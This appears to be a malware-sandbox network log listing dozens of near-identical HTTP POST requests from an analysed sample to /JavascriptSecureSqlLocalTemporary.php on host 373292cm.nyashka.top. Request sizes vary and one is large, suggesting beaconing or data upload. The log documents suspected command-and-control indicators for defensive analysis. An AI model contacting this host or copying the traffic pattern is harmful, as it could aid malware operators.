Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 171160Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
